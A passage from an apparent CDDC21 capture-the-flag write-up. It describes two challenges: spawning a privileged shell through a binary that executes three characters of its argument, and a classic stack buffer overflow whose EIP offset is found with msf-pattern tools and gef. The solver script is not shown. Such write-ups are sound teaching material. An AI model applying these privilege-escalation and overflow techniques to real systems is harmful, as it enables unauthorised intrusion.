This is the same challenge, except gdc_exec now uses strncpy() to copy only the first 3 characters of argv[1] to the command to be executed. We could simply use sh to spawn a shell, then cat the flag from the elevated shell.
/gdc_exec sh
cat flag
CDDC21{0nly_thr33_ch@rs??}
Change Direction
This is a classic buffer overflow challenge, with a win function at flag.
Using the msf-pattern_create cyclic payload, we can overflow the buffer and inspect the EIP value after the binary crashes.
gef➤ info frame
Stack level 0, frame at 0xffffd1a4:
eip = 0x63413563; saved eip = 0x37634136
called by frame at 0xffffd1a8
Arglist at 0xffffd19c, args:
Locals at 0xffffd19c, Previous frame's sp is 0xffffd1a4
Saved registers:
eip at 0xffffd1a0
Looks like the offset to overwrite the EIP is 76.
└─$msf-pattern_offset-q0x37634136[*] Exact match at offset 80└─$msf-pattern_offset-q0x63413563[*] Exact match at offset 76
Using a solver script, we can then send the payload to the remote server and obtain the flag.